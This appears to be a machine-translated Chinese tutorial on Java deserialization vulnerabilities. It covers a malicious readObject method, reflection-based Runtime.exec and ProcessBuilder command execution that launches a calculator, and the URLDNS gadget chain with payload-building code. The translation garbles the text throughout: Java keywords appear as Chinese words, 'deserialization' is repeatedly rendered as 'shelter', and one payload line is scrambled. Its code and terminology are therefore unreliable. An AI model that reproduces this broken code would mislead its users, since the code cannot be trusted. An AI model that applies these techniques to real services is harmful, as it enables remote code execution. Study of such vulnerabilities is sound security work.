Java 反序列化漏洞系列-1
1 序列化与反序列化基础
序列化是一种将Java对象与Java操作环境分开的手段,该对象可以有效地实现多个平台和持久对象存储之间的通信。1.1 相关方法
ObjectOutputStream类的WriteObject()方法可以实现序列化。根据Java的标准约定,给文件一个.Ser扩展名。ObjectInputStream类的ReadObject()方法用于避难所化。
1.2 序列化前提
实现java.io.Serializable接口进行应序列化,所有属性都必须序列化(除了使用瞬态关键字修改属性,并且不参与序列化过程)1.3 漏洞成因
序列化和绝对序列化本身没有问题。但是,当用户可以控制输入的次要数据时,攻击者可以构建恶意输入,允许应对序列化产生意外的对象,并在此过程中执行任何构造的代码。挑选有效载荷生成工具:https://github.com/frohoff/ysoserial/
2 漏洞基本原理
2.1 序列化
序列化数据以两个字节的魔术数开头:aced。接下来是具有版本号0005的两字节数据。此外,它还包括类名称,类型和成员变量的数量等。
序列化数据流始于魔术号和版本号。当objectOutputstream称为:
1
2
3
4
5
6
受保护的void writestreamheader()抛出ioexception {
//stream_magic(2个字节)0xaced
bout.writeshort(stream_magic);
//stream_version(2个字节)5
bout.writeshort(stream_version);
}
2.2 反序列化
Java程序中类objectInputStream的ReadObject方法用于将数据流估计为对象。ReadObject()方法在避难所漏洞中起关键作用。如果重写了ReadObject()方法,则在供应类时,重写ReadObject()方法将调用。如果该方法编写不正确,则可能会触发恶意代码的执行。
喜欢:
1
2
3
4
5
6
公共阶层邪恶实现可序列化{
公共字符串CMD;
私有void readObject(java.io.objectInputStream流)抛出异常{
stream.defaultreadobject();
runtime.getRuntime()。exec(cmd);
}
但是,在实践中,构造挑战漏洞相对复杂,它需要一些Java功能(例如Java反射)的帮助。
3 Java 反射
3.1 Java 反射定义
对于任何类,可以获得此类的所有属性和方法;对于任何对象,其任何方法及其属性都可以称为;动态获取信息和动态调用对象方法的这种功能称为Java语言的反射机制。反射是大多数语言具有的功能。对象可以通过反思获得他们的课程。类可以通过反射获得所有方法(包括私有),并且可以直接调用所获得的方法。简而言之,通过反射,可以将动态特性连接到Java。
尽管Java语言没有太多灵活的动态特性,例如PHP,但它可以通过反射实现某些效果。例如,在以下代码中,当输入参数值不确定时,此函数的特定功能未知。
1
2
3
4
public void execute(字符串className,string methodname)抛出异常{
class clazz=class.forname(className);
clazz.getMethod(methodName).invoke(clazz.newinstance());
}
Java中定义的类本身就是一个对象,即Java.lang.class类的实例。此实例称为类对象
类对象表示正在运行Java应用程序中的类和接口
类对象没有公共构造函数方法,并且由Java虚拟机自动构建。
类对象用于提供有关类本身的信息,例如几个构造函数,有多少个属性以及那里有哪些普通方法
要获得类的方法和属性,您必须首先获得该类的对象
3.2 获取类对象
假设现在有一个人类课程:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
公共班级实现序列化{
私有字符串名称;
私人整数年龄;
公众(字符串名称,整数年龄){
this.name=name;
this.age=age;
}
public void setName(字符串名称){
this.name=name;
}
公共字符串getName(){
返回this.name;
}
公共整数getage(){
返回年龄;
}
公共空隙套装(整数年龄){
this.age=age;
}
}
通常有三种方法可以获取此类对象:
class.forname('com.geekby.person')
person.Class
新人()。getClass()
最常用的一种是第一种类型,它可以使用字符串(即类的完整路径名)获得类对象。
3.3 利用类对象创建对象
与直接创建新的对象不同,反射是首先获取类对象,然后通过类对象获取构造函数对象,然后通过constructor对象创建一个对象。1
2
3
4
5
6
7
8
9
10
11
12
13
包com.geekby;
导入java.lang.reflect。*;
公共类CreateObject {
public static void main(string [] args)抛出异常{
class personClass=class.forname('com.geekby.person');
constructor构造函数=PersonClass.getConstructor(String.Class,Integer.Class);
p=(人)构造函数('geekby',24);
system.out.println(p.getName());
}
}
方法
阐明
getConstructor(类…参数型)
在此类中获取与参数类型匹配的公有施工方法
getConstructors()
获取该课程的所有公共构造师
getDeclaredConstructor(class…parametypes)
在此类中获取与参数类型相匹配的构造方法
getDeclaredConstructors()
获取此类的所有构造函数
3.4 利用反射调用方法
12
3
4
5
6
7
8
9
10
11
公共类CallMethod {
public static void main(string [] args)抛出异常{
class personClass=class.forname('com.geekby.person');
constructor构造函数=PersonClass.getConstructor(String.Class,Integer.Class);
p=(人)构造函数('geekby',24);
方法m=personClass.getDeclaredMethod('setName',string.class);
M.Invoke(P,'Newgeekby');
system.out.println(p.getName());
}
}
方法
阐明
getMethod(字符串名称,类…参数型)
获得公共班级的方法
getMethods()
获取此类的所有公共方法
getDeclaredMethod(字符串名称,class…parametypes)
获得此类方法
getDeclaredMethods()
获取此类的所有方法
3.5 通过反射访问属性
12
3
4
5
6
7
8
9
10
11
12
13
公共类AccessAttribute {
public static void main(string [] args)抛出异常{
class personClass=class.forname('com.geekby.person');
constructor构造函数=PersonClass.getConstructor(String.Class,Integer.Class);
p=(人)构造函数('geekby',24);
//名称是私有财产,需要将其设置为先访问
字段f=PersonClass.getDeclaredField('name');
f.setaccessible(true);
f.set(p,'newgeekby');
system.out.println(p.getName());
}
}
方法
阐明
getfield(字符串名称)
获取公共财产对象
getfields()
获取所有公共财产对象
getDeclaredField(字符串名称)
获取某个属性对
getDeclaredFields()
获取所有属性对象
3.6 利用反射执行代码
12
3
4
5
6
7
8
9
10
公共班级执行{
public static void main(string [] args)抛出异常{
//java.lang.runtime.getRuntime().exec('Calc');
class runtimeclass=class.forname('java.lang.runtime');
//getruntime是一种静态方法,当调用时,无需通过调用对象传递
object runtime=runtimeclass.getMethod('getRuntime')。indoke(null);
runtimeclass.getMethod('exec',string.class).invoke(runtime,'open/system/applications/calculator.app');
}
}
在上面的代码中,Java的反射机制用于以字符串的形式反映我们的代码意图,因此本应是字符串的属性成为代码执行的逻辑,并且此机制也是后续漏洞的先决条件。
尖端
Invoke的功能是执行该方法,其第一个参数为:
如果该方法是普通方法,则第一个参数是类对象
如果该方法是静态方法,则第一个参数是类或null
此外,另一种常用方式来执行命令,processBuilder,通过反射获得其构造函数,然后调用start()执行命令:
1
2
class clazz=class.forname('java.lang.processbuilder');
((processBuilder)clazz.getConstructor(list.class).newinstance(arrays.aslist('calc.exe')))。start();
检查文档以查看ProcessBuilder有两个构造函数:
公共processBuilder(listString命令)
Public ProcessBuilder(字符串.命令)
上述反射方法使用了构造函数的第一种形式。
但是,上述有效载荷使用Java中的铸造。有时,当我们利用漏洞(在表达式的上下文中)时,没有这样的语法。因此,开始方法仍需要使用反射执行。
1
2
3
class clazz=class.forname('java.lang.processbuilder');
clazz.getMethod('start')。indoke(clazz.getConstructor(list.class).newInstance(arrays.aslist('open'',''/system/applications/calculator.app'app'','open'','open'','oble''''''slays.aslist.newinstance('open'','applist.aslist。
如何调用上面的第二个构造函数?
对于可变长度参数,Java在编译时会编译为数组,这意味着以下两个写作方法在底部是等效的:
1
2
public void hello(string []名称){}
public void Hello(字符串.名称){}
因此,对于反射,如果目标函数包含可变长度参数,则只需将其传递到数组中即可。
1
2
classClazz=class.forname('java.lang.processbuilder');
clazz.getConstructor(string []。class)
调用newinstance时,该函数本身会收到一个可变长度参数:

传递给ProcessBuilder的可变长度参数也是一个可变长度参数,并且两个叠加到二维数组中,因此整个有效负载如下:
1
2
3
class clazz=class.forname('java.lang.processbuilder');
clazz.getMethod('start')。indoke(clazz.getConstructor(string []。class).newinstance(new String [] [] [] {{'Open','/system/applications/calculator.app.app'}}}));
3.7 反序列化漏洞与反射
在安全研究中,使用反射的主要目的之一是绕过某些沙箱。例如,如果上下文中只有整数数量,则如何获得可以执行命令的运行时类:例如,它可以像这样(pseudocode):1.getClass()。forname('java.lang.runtime')
4 DNSURL gadget 分析
4.1 调用链
12
3
4
- hashmap.readobject()
- hashmap.putval()
- hashmap.hash()
- url.hashcode()
1
2
3
4
5
6
7
8
9
10
hashmap ht=new hashmap();
url u=new URL('dnslog');
//在序列化期间没有发送请求,以防止在检测期间进行错误判断
c=u.getClass();
字段f=c.getDeclaredField('HashCode');
f.setaccessible(true);
F.Set(U,1234);
ht.put(u,'geekby');
//将哈希码更改为-1并还原
f.set(u,-1);
4.2 分析
首先检查hashmap的readObject方法
第339行:在调用PutVal方法之前将调用哈希方法,并检查其源代码:

第899-903行:如果键==null,则分配给0。如果存在键,则调用键的哈希码方法。
在此小工具中,密钥是一个URL对象。接下来,跟进URL的HashCode方法。

URL类的哈希码非常简单。如果HashCode不是-1,则返回哈希码。序列化有效载荷时,需要将哈希码设置为-1的原因是防止其输入哈希码方法,然后发送DNS请求,从而影响判断。
当HashCode==-1时,调用HashCode方法。该类的定义在URL构造函数中,它主要确定基于该方案的哪个类用作处理程序。这是urlstreamhandler类,跟进urlstreamhandler的HashCode方法。

在第359行上,请致电GethostAddress获取与域名相对应的IP。

DNSURL链使用此地方触发DNSlog发送请求。
参考
Phith0n Java聊天系列关于Java避难所脆弱性原理的分析
从开始到结束
从0学习Java避难所漏洞
了解Java避难所漏洞
Java避难链完成计划